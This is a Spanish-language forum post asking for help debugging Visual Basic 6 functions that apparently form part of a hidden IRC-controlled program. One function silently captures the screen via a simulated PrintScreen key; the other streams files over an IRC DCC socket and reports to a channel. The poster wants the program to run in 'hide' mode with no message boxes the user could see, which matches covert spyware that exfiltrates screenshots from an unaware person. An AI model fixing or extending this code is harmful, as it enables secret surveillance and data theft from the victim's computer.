E llegado a pensar que es por la "velocidad" en la cual se procesa los comandos (o eso creo) que no le da tiempo de procesarlas, intente usar DoEvents y otra funcion pero obtuve el mismo resultado que al comienzo un error, solo pude solventarlo con un Msgbox.
Mi aplicacion tiene que estar en "modo hide" por ende no puedo permitir ningun Msgbox y si lo usara al usarlo y la persona no darle "aceptar" o cierre el Msgbox el programa no sigue, que puedo hacer en este caso?
Funciones:
Código:
Public Function DCCSendFile(ByVal fPath As String) As Boolean
Dim FileSize As Long
Dim DataSend As Long
Dim buffer As String
Dim Bsize As Long
Bsize = 1024
Open fPath For Binary Access Read As #1
FileSize = LOF(1)
Do Until EOF(1)
'DoEvents
If FileSize - Loc(1) <= Bsize Then
Bsize = FileSize - Loc(1)
End If
If Bsize = 0 Then
Exit Do
End If
DataSend = DataSend + Bsize
buffer = Space$(Bsize)
Get #1, , buffer
'DoEvents
wsfile.SendData buffer
Loop
MsgBox ("LISTO") ' Al quitar este Msgbox la funcion no guarda bien la imagen.
DoEvents
IRC_SendMessage "...", "DataSend: " & DataSend & " FileSize: " & FileLen(fPath) & " FileLOF: " & LOF(1)
DoEvents
Close #1
wsfile.Close
DCCSendFile = True
End Function
Código:
Public Function m_SavePicture(ByVal Path As String) As Boolean
Clipboard.Clear
Call keybd_event(44, 1, 0&, 0&)
' DoEvents ' No hace diferencia
MsgBox ("...") ' Al quitar este la funcion no procesa la captura
If Clipboard.GetFormat(vbCFBitmap) Then
SavePicture Clipboard.GetData(vbCFBitmap), Path
m_SavePicture = True
Else
m_SavePicture = False
End If
End Function
Saludos, Gracias..